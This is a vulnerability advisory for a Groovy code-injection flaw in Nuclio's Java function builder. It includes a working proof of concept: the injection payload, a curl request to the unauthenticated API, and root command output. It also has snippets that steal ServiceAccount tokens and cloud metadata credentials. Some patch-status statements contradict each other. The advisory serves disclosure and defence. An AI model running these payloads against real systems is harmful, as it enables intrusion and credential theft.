CVE-2026-52833 — nuclio

Summary

Nuclio's Java runtime generates a build.gradle file during function builds using Go's text/template package. The template renders runtimeAttributes.repositories[] values with the {{ . }} action, which performs no escaping. An attacker can embed a closing brace (}) to break out of the repositories {} block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase.

The Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing:

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 512ms

• CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
• Affected versions: Nuclio <= 1.15.27 (latest as of 2026-05-17, dynamically verified)

Details

Root Cause

pkg/processor/build/runtime/java/runtime.go — function createGradleBuildScript()

Step 1. User input flows from the API into the template data map without validation

types.go:50-64 — newBuildAttributes() decodes runtimeAttributes with no content inspection. Any string is accepted for each element of Repositories:

// pkg/processor/build/runtime/java/types.go:50-64
func newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) {
    newBuildAttributes := buildAttributes{}
    if err := mapstructure.Decode(encodedBuildAttributes, &newBuildAttributes); err != nil {
        return nil, errors.Wrap(err, "Failed to decode build attributes")
    }
    if len(newBuildAttributes.Repositories) == 0 {
        newBuildAttributes.Repositories = []string{"mavenCentral()"}
    }
    return &newBuildAttributes, nil  // no validation of repository string contents
}

Step 2. text/template renders repositories verbatim into Groovy DSL

runtime.go:111,139 — the template is parsed with text/template, which does not HTML-encode or escape special characters. {{ . }} emits each repository string as-is:

// runtime.go:111
gradleBuildScriptTemplate, err := template.New("gradleBuildScript").Parse(j.getGradleBuildScriptTemplateContents())

// runtime.go:139
err = gradleBuildScriptTemplate.Execute(io.MultiWriter(&gradleBuildScriptTemplateBuffer, buildFile), data)

The template section for repositories (runtime.go:155-159):

repositories {
    {{ range .Repositories }}
    {{ . }}
    {{ end }}
}

{{ . }} is the verbatim output action. Because text/template (unlike html/template) applies no contextual escaping, any character — including }, (, ), newlines — is written directly to the .gradle file.

Step 3. Gradle evaluates the injected Groovy at configuration phase

The generated build.gradle is passed to ./build-user-handler.sh inside the quay.io/nuclio/handler-builder-java-onbuild container. That script runs:

gradle tasks       # configuration phase: top-level Groovy runs
gradle userHandler # configuration phase: top-level Groovy runs again

Groovy evaluates every top-level statement in build.gradle before executing any task. Injected code therefore runs unconditionally on both invocations.

Injection Mechanics

Payload for repositories[0]:

mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

Generated build.gradle (confirmed by Dashboard DEBUG log at path /tmp/nuclio-build-378373988/staging/handler/build.gradle):

plugins {
  id 'com.github.johnrengelman.shadow' version '5.2.0'
  id 'java'
}

repositories {

    mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

}

dependencies {
    compile files('./nuclio-sdk-java-1.1.0.jar')
}

shadowJar {
   baseName = 'user-handler'
   classifier = null
}

task userHandler(dependsOn: shadowJar)

The } on line 9 closes the repositories {} block. println(...) on line 10 becomes a top-level Groovy statement. repositories { on line 11 re-opens a new block that the template's trailing } correctly closes, making the entire file syntactically valid.

Groovy's List.execute() extension method (e.g., ['sh', '-c', 'cmd'].execute()) runs an OS process. .text captures its standard output. The injected println logs the output to Gradle's stdout, which appears in the kaniko executor log.

Proof of Concept

Environment Setup

The following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17.

1. Create a dedicated kind cluster

cat > /tmp/kind-vul006.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraPortMappings:
  - containerPort: 8070
    hostPort: 8070
    protocol: TCP
- role: worker
EOF

kind create cluster --name vul-006 --config /tmp/kind-vul006.yaml

Expected output:

Creating cluster "vul-006" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
 ✓ Joining worker nodes
Set kubectl context to "kind-vul-006"

2. Pre-load required images

# Pull images on host
docker pull quay.io/nuclio/dashboard:1.15.27-amd64
docker pull quay.io/nuclio/controller:1.15.27-amd64
docker pull gcr.io/kaniko-project/executor:v1.23.2
docker pull quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64

# Load into kind cluster
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006
kind load docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006
kind load docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006

3. Deploy a local image registry accessible from kind nodes

# Start registry (reuse existing if present)
docker run -d --name kind-registry --restart=always \
  --network kind -p 127.0.0.1:5001:5000 registry:2

# Verify kind nodes can reach it
REGISTRY_IP=$(docker inspect kind-registry \
  --format '{{(index .NetworkSettings.Networks "kind").IPAddress}}')
docker exec vul-006-control-plane curl -s http://${REGISTRY_IP}:5000/v2/
# Expected: {}

4. Install Nuclio via Helm

kubectl --context kind-vul-006 create namespace nuclio

cat > /tmp/nuclio-values.yaml <<'EOF'
dashboard:
  enabled: true
  containerBuilderKind: "kaniko"
  monitorDockerDeamon:
    enabled: false
  image:
    pullPolicy: IfNotPresent
  kaniko:
    insecurePushRegistry: true
    insecurePullRegistry: true
    initContainerImage:
      busybox:
        repository: gcr.io/iguazio/alpine   # substitute for busybox if Docker Hub rate-limited
        tag: "3.20"

registry:
  pushPullUrl: "kind-registry:5000"

controller:
  enabled: true
  image:
    pullPolicy: IfNotPresent

rbac:
  create: true
  crdAccessMode: cluster
EOF

helm install nuclio ./hack/k8s/helm/nuclio \
  --namespace nuclio \
  --kube-context kind-vul-006 \
  -f /tmp/nuclio-values.yaml \
  --wait --timeout 120s

Expected output:

NAME: nuclio
STATUS: deployed
REVISION: 1

5. Expose the Dashboard and verify connectivity

kubectl --context kind-vul-006 port-forward \
  -n nuclio svc/nuclio-dashboard 8070:8070 &

# Wait for readiness
sleep 5
curl -s http://localhost:8070/api/functions -o /dev/null -w "HTTP %{http_code}\n"
# Expected: HTTP 200

# Create the default project required by the API
curl -s -X POST http://localhost:8070/api/projects \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{}}'

Exploitation Steps

Step 1 — Send the malicious function definition

The runtimeAttributes.repositories field accepts any string. Use Python to build a correctly escaped JSON payload:

import json, base64

# Minimal valid Java handler source
java_src = """import io.nuclio.Context;
import io.nuclio.Event;
public class Handler implements io.nuclio.EventHandler {
    @Override
    public Object handleEvent(Context ctx, Event event) { return "hello"; }
}"""

# Injection: close the repositories block, run a command, re-open the block
injection = (
    "mavenCentral()\n"
    "}\n"
    "println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)\n"
    "repositories {"
)

payload = {
    "metadata": {"name": "vul006-test", "namespace": "nuclio"},
    "spec": {
        "runtime": "java",
        "handler": "io.nuclio.Handler",
        "build": {
            "functionSourceCode": base64.b64encode(java_src.encode()).decode(),
            "runtimeAttributes": {"repositories": [injection]}
        },
        "minReplicas": 0, "maxReplicas": 1
    }
}

with open("/tmp/payload.json", "w") as f:
    json.dump(payload, f)

HTTP_CODE=$(curl -s -o /tmp/response.json -w "%{http_code}" \
    -X POST http://localhost:8070/api/functions \
    -H "Content-Type: application/json" \
    -H "x-nuclio-project-name: default" \
    -d @/tmp/payload.json)
echo "HTTP: ${HTTP_CODE}"

Expected output:

HTTP: 202

No authentication required. No validation error for the injected repository value.

Step 2 — Confirm template injection in the Dashboard DEBUG log

kubectl --context kind-vul-006 logs \
    -n nuclio deploy/nuclio-dashboard --tail=100 \
    | grep "Created gradle build script" \
    | python3 -c "
import sys, json, re
for line in sys.stdin:
    m = re.search(r'Created gradle build script ({.*})', line)
    if m:
        print(json.loads(m.group(1))['content'])
"

Actual output (from verified run):

plugins {
  id 'com.github.johnrengelman.shadow' version '5.2.0'
  id 'java'
}

repositories {

	mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

}

dependencies {

    compile files('./nuclio-sdk-java-1.1.0.jar')
}

shadowJar {
   baseName = 'user-handler'
   classifier = null
}

task userHandler(dependsOn: shadowJar)

The Dashboard DEBUG log (path logged: /tmp/nuclio-build-378373988/staging/handler/build.gradle) confirms the injected Groovy reached the file verbatim.

Step 3 — Wait for the kaniko build job and observe RCE output

# Wait for the kaniko pod to appear
until kubectl --context kind-vul-006 get pods -n nuclio --no-headers \
    | grep -q "kaniko"; do sleep 2; done

POD=$(kubectl --context kind-vul-006 get pods -n nuclio --no-headers \
    | grep kaniko | awk '{print $1}')
echo "Build pod: ${POD}"

# Wait for completion
until kubectl --context kind-vul-006 get pod -n nuclio "${POD}" \
    --no-headers | grep -qE "Completed|Error"; do sleep 3; done

# Retrieve execution evidence
kubectl --context kind-vul-006 logs -n nuclio "${POD}" \
    -c kaniko-executor | grep -A3 "RCE-PROOF"

Actual output (from verified run, pod nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr):

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 2s

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 512ms

The marker [RCE-PROOF] appears twice — once per gradle invocation (gradle tasks and gradle userHandler). The output confirms:

• uid=0(root) — execution as root inside the builder container
• The pod name as hostname — confirms execution is inside the real build container, not simulated
• root — whoami output corroborates the UID

Cleanup

kubectl --context kind-vul-006 delete nucliofunction vul006-test -n nuclio
kind delete cluster --name vul-006

Impact

Direct Impact

An unauthenticated attacker can execute arbitrary OS commands as root inside the function builder container on every Java function build. Confirmed capabilities from the build container environment:

• Read/write the build container filesystem
• Access network endpoints reachable from the build pod
• Tamper with the compiled function artifact (.jar) before it is packaged into the processor image — effectively poisoning the resulting function's image

Privilege Escalation — Docker Socket Escape (Verified: NOT directly exploitable in default configuration)

Verification result: In the default docker builder configuration, direct Docker socket escape via Gradle code injection is NOT exploitable.

Environment

• Cluster: kind-vul-009, Nuclio v1.15.27-amd64
• Builder: NUCLIO_CONTAINER_BUILDER_KIND=docker (confirmed via kubectl describe)
• Dashboard pod: nuclio-dashboard-5f8ddc949c-sfzh4
• Verified: 2026-05-19 06:21 UTC

docker.sock Mount Confirmed on Dashboard Pod

Mounts:
  /var/run/docker.sock from docker-sock (rw)

Volumes:
  docker-sock:
    Type:     HostPath (bare host directory volume)
    Path:     /var/run/docker.sock

The Docker socket is accessible within the Dashboard container itself (Docker v29.1.2 API confirmed reachable).

Build Flow in docker Builder Mode

Nuclio generates a Dockerfile.onbuild and submits it to Docker daemon via the socket:

FROM quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64
COPY handler/build.gradle /home/gradle/src/userHandler
COPY ${NUCLIO_BUILD_LOCAL_HANDLER_DIR} /home/gradle/src/userHandler
RUN cd /home/gradle/src/userHandler && ./build-user-handler.sh   # Gradle executes here

Actual command issued (from Dashboard DEBUG log):

docker build --network host --force-rm -t nuclio-onbuild-d8602mam53lc7e12q410 \
  -f Dockerfile.onbuild --build-arg NUCLIO_LABEL=1.15.27 ...

Probe Results (Step 7/9 RUN Layer)

Injection payload in repositories[0]:

mavenCentral()
}
println('[PROBE-1] docker.sock exists: ' + new File('/var/run/docker.sock').exists())
println('[PROBE-2] ' + ['sh', '-c', 'ls -la /var/run/docker.sock 2>&1 || echo NOT_FOUND'].execute().text)
println('[PROBE-ENV] hostname=' + ['sh', '-c', 'hostname'].execute().text.trim())
repositories {

Gradle output (captured twice — once per gradle tasks / gradle userHandler invocation):

> Configure project :
[PROBE-1] docker.sock exists: false
[PROBE-2] ls: cannot access '/var/run/docker.sock': No such file or directory
NOT_FOUND

[PROBE-ENV] hostname=VM-0-8-ubuntu

BUILD SUCCESSFUL in 2s

The RCE executed successfully. The docker.sock does not exist inside the RUN-stage container.

Root Cause

Each RUN instruction in a docker build executes inside an isolated intermediate container (b747a20b21ba). That container:

1. Has a filesystem built from image layers only — it does not inherit volume mounts from the caller (the Dashboard container).
2. --network host shares the host network namespace (explaining hostname=VM-0-8-ubuntu) but does not share the filesystem.
3. Docker daemon never exposes the host filesystem (including /var/run/docker.sock) to build-stage containers unless the Dockerfile explicitly arranges it.

Conditions Required for Exploitability

This path becomes exploitable only under non-default configurations:

• Dockerfile with explicit socket bind: e.g., BuildKit --mount=type=bind,source=/var/run/docker.sock,... in the onbuild image, or replacing docker build with docker run -v /var/run/docker.sock:/var/run/docker.sock
• Privileged build containers: --privileged mode with mknod device node creation
• Docker-in-Docker setup: Docker daemon pre-installed and launched inside the builder image

None of these conditions exist in the standard Nuclio Helm chart deployment.

Evidence: evidence/logs/docker-builder-socket-probe.log

Privilege Escalation — Kubernetes ServiceAccount Token

The build pod can read the ServiceAccount token mounted within it. However, the kaniko Job's serviceAccountName is sourced from builderServiceAccount, function serviceAccount, kaniko.defaultServiceAccount, or the platform's default function SA (see pkg/containerimagebuilderpusher/kaniko.go:301, :375, :840-849). This is not inherently the same as the Nuclio Dashboard's high-privilege ServiceAccount.

In deployments where the build pod uses a high-privilege ServiceAccount (e.g., where an administrator has bound overly broad RBAC roles to the builder SA), an attacker can read the token and query the Kubernetes API:

// Read the build pod's own SA token (not the Dashboard SA)
def token = new File('/var/run/secrets/kubernetes.io/serviceaccount/token').text
['sh', '-c', "curl -sk -H 'Authorization: Bearer ${token}' " +
 'https://kubernetes.default.svc/api/v1/namespaces/nuclio/secrets'].execute().text

The effective permissions of this token depend on the RBAC bindings of the build pod's ServiceAccount. Under least-privilege configurations, this token may not be able to access sensitive resources.

Cross-Tenant Access (Horizontal Escalation)

Nuclio uses Kubernetes namespaces for tenant isolation. Build containers in docker mode share the host Docker daemon. An attacker can enumerate and access containers belonging to other tenants via the Docker socket.

Cloud Instance Metadata (SSRF — Managed Kubernetes)

In EKS, GKE, or AKS environments, the build container can reach the cloud instance metadata service:

// AWS IMDSv2 — retrieve IAM role credentials
def imdsToken = ['sh', '-c',
    'curl -s -X PUT "http://169.254.169.254/latest/api/token" ' +
    '-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"'].execute().text.trim()
def role = ['sh', '-c',
    "curl -s -H 'X-aws-ec2-metadata-token: ${imdsToken}' " +
    'http://169.254.169.254/latest/meta-data/iam/security-credentials/'].execute().text

Obtained temporary IAM credentials grant access to AWS services (ECR, S3, etc.) available to the node's IAM role.

Severity

CVSS 3.1 Score: 10.0 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Rating Rationale

This RCE has realistic conditions for further credential acquisition and lateral movement from the build container. In particular, under the following common production deployment scenarios:

• Kaniko builds use registry secrets (image push credentials mounted into the build pod)
• ECR registry provider secrets are configured
• Node IAM metadata is reachable (IMDS not blocked)
• Build pods use a high-privilege ServiceAccount

An attacker can read image registry credentials, AWS/GCP temporary credentials, or Kubernetes SA tokens, and subsequently poison the image registry, access cluster resources, or pivot to cloud resources. A Critical rating is justified under these common deployment conditions.

Downgrade conditions: If a deployment follows least-privilege principles — no registry/cloud credential mounts, IMDS blocked, build SA has no sensitive RBAC bindings — the impact is primarily limited to code execution within the build container and artifact tampering. This remains High severity but should not be justified on the basis of "default lateral movement."

Affected Versions

• Nuclio <= 1.15.27 (latest release as of 2026-05-17)
• All versions that include the Java runtime build path (pkg/processor/build/runtime/java/runtime.go)

The vulnerability was introduced when the Java runtime and its runtimeAttributes support were added and has not been addressed in any release to date.

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

Workarounds

Until a patch is released, the following mitigations reduce exposure:

1. Enable authentication on the Dashboard. Set NUCLIO_AUTH_KIND to a non-NOP authenticator (e.g., iguazio). This prevents unauthenticated access to the function creation API.

2. Network-restrict the Dashboard port (8070). Allow access only from trusted internal networks or VPN. Do not expose the Dashboard to the public internet.

3. Disable Java runtime support if not in use. Remove the Java runtime handler from the dashboard deployment configuration.

4. Use kaniko over docker builder. In kaniko mode the Docker socket is not mounted, eliminating the host-escape path. The build-time RCE remains exploitable, but the blast radius is reduced to the build pod.

Remediation Recommendations

Option 1 — Input validation (recommended for quick fix)

In newBuildAttributes() (types.go:50), validate each repository string against an allowlist pattern before accepting it:

import "regexp"

var repoPattern = regexp.MustCompile(`^[a-zA-Z0-9_\-\(\)\.:\/]+$`)

for _, repo := range newBuildAttributes.Repositories {
    if !repoPattern.MatchString(repo) {
        return nil, fmt.Errorf("invalid repository value: %q", repo)
    }
}

Option 2 — Replace text/template with a safe rendering approach

The repositories block should not use a Go template at all. Build the build.gradle content programmatically using string concatenation with per-value validation, rather than via a template that cannot express per-field escaping semantics.

Option 3 — Content Security: reject newlines and Groovy metacharacters

Reject any repository value containing \n, \r, {, }, (, ), ', ". These characters are not present in valid Maven repository declarations.

Resources

• pkg/processor/build/runtime/java/runtime.go — createGradleBuildScript() (line 87)
• pkg/processor/build/runtime/java/runtime.go — getGradleBuildScriptTemplateContents() (line 149)
• pkg/processor/build/runtime/java/types.go — newBuildAttributes() (line 50)
• Go text/template documentation: https://pkg.go.dev/text/template
• Groovy List.execute() / String.execute(): https://docs.groovy-lang.org/latest/html/groovy-jdk/java/lang/String.html#execute()
• Nuclio Dashboard authentication configuration: https://nuclio.io/docs/latest/reference/api/nuclio_dashboard_api/